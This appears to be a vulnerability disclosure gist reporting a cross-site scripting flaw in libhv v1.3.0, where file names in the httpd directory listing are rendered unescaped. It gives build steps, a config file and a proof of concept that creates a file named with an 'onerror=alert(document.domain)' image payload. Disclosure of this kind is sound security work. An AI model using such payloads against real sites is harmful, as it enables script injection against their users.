Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created May 16, 2023 11:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dellalibera/c53448135480cbe12257c4b413a90d20 to your computer and use it in GitHub Desktop.
Save dellalibera/c53448135480cbe12257c4b413a90d20 to your computer and use it in GitHub Desktop.
Cross-Site Scripting in libhv@v1.3.0

Information

Project: libhv

Tested Version: v1.3.0 (commit 579938146ff0cd99d379c038bea80d3241c5bc36)

Github Repository: https://github.com/ithewei/libhv

Details

libhv is vulnerable to Cross-Site Scripting (XSS) when a file which name contains an XSS payload is served by the application, the filename is displayed without proper sanitiziation when is rendered (https://github.com/ithewei/libhv/blob/579938146ff0cd99d379c038bea80d3241c5bc36/http/server/http_page.cpp#L59).

Setup

Install and build the project https://github.com/ithewei/libhv#%EF%B8%8F-build

git clone https://github.com/ithewei/libhv.git
cd libhv
mkdir build
cd build
cmake ..
cmake --build .

PoC

This PoC demonstrates how it's possible to trigger an XSS if malicious content is served using libhv/bin/httpd program.

  • create the following files/folders, including the file with an XSS payload (under downloads folder):
mkdir poc/
cd poc/
mkdir html
mkdir html/downloads
echo "Welcome Page" > ./html/index.html
touch ./html/downloads/'"><img src=x onerror=alert(document.domain)>"'
  • use the following httpd.conf file:
# [root]

loglevel = INFO
log_remain_days = 3
log_filesize = 64M

worker_processes = auto
worker_threads = 1

worker_connections = 1024

http_port = 8080
https_port = 8443
document_root = html
home_page = index.html
index_of = /downloads/
limit_rate = 500 # KB/s
cors = yes
forward_proxy = no
  • the final folder structure should be the following:
libhv/
poc/
    httpd.conf
    html/
        index.html
        downloads/
            '"><img src=x onerror=alert(document.domain)>"'
  • inside poc folder, run the following command to start the httpd program
../libhv/build/bin/httpd -c ./httpd.conf
  • visit http://localhost:8080/downloads/ and an alert will appear

Impact

Cross-Site Scripting (XSS)

Author

Alessio Della Libera

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment